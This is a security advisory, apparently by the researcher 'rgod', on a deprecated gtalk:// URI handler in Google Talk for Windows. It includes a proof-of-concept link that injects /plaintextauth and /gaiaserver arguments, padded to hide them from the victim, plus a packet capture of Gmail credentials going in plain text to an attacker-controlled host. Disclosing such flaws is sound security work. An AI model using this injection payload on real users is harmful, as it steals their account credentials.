Google Talk gtalk:// Deprecated Uri Handler /gaiaserver Parameter Injection Vulnerability 

tested against: Internet Explorer 8
                Microsoft Windows (all versions)


download url of 1.0.0.104:
http://www.google.com/talk/install.html

download urls of 1.0.0.105:
http://www.google.com/talk/intl/it/
http://www.google.com/talk/intl/fr/
http://www.google.com/talk/intl/de/
...


rgod: "Why two versions are downloadable on the internet at the same time?"

- Who is vulnerable?

  - More probably international users, non Eglish speaking one

- When this attack does not work: 
   
    -when you install Google Talk 1.0.0.104
    -then you uninstall diligently 1.0.0.104
    -then you install 1.0.0.105

-When this attack works:
   
    -when you install Google Talk 1.0.0.104
    -then you install 1.0.0.105

     or

    -when you installed multiple times, never using the uninstall functionality
     which is the reality of it

-Why?

 Because 1.0.0.105 has not the gtalk:// uri handler functionality but the command line behaviour changed
 Indeeds, 1.0.0.104 or 1.0.0.105 are not vulnerable alone but 1.0.0.105, when installed, does not remove
 the old uri handler.

My girlfriend's comment: "But people do not unistall the older one before installing the new one !!!! This is huge !!!!!!!!!!"
rgod                   : "You are right, two steps are better than three"



Vulnerability: Injection of custom parameters 

Google Talk 1.0.0.104 registers on windows a deprecated uri handler, registry dump:

[HKEY_CLASSES_ROOT\gtalk]
"URL Protocol"=""

[HKEY_CLASSES_ROOT\gtalk\shell]

[HKEY_CLASSES_ROOT\gtalk\shell\open]

[HKEY_CLASSES_ROOT\gtalk\shell\open\command]
@="\"C:\\Program Files\\Google\\Google Talk\\googletalk.exe\" \"/%1\""


By crafting a link a remote user can inject custom command line parameters.


injectable parameters:

/plaintextauth

Uses plain authentication mechanism

/gaiaserver [host:port]

Uses a different GAIA server to authenticate the client

/nomutex

Allows multiple instances of Google Talk


proof of concept:

<a href='gtalk://mymail@gmail.com ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20192.168.2.101:80%20/nomutex%20/'>chat with me</a>


(???????????? ... are estethics, when prompted the victim does not see the other stuff)

Gmail credentials are sent to 192.168.201:80 instead of google default gaia server, packet dump when sniffing the network 
or listening on that port:

POST /accounts/ClientAuth HTTP/1.1
Connection: Keep-Alive
Content-Length: [length]
Content-Type: application/x-www-form-urlencoded
Host: 192.168.2.101
User-Agent: Google Talk

Email=your%40gmail.com&Passwd=%70%61%73%73&PersistentCookie=false&source=googletalk


password is plain text, urldecoded:

user: yout@gmail.com
pass: pass

Now you are done, you spiffed your password to the unknown (evil) world.

If you already logged in on gmail server olders credentials are sent without user interaction,
otherwise if the user tries to login manually credentials are sent aswell to the attacker server



//rgod - 7.39 21/03/2012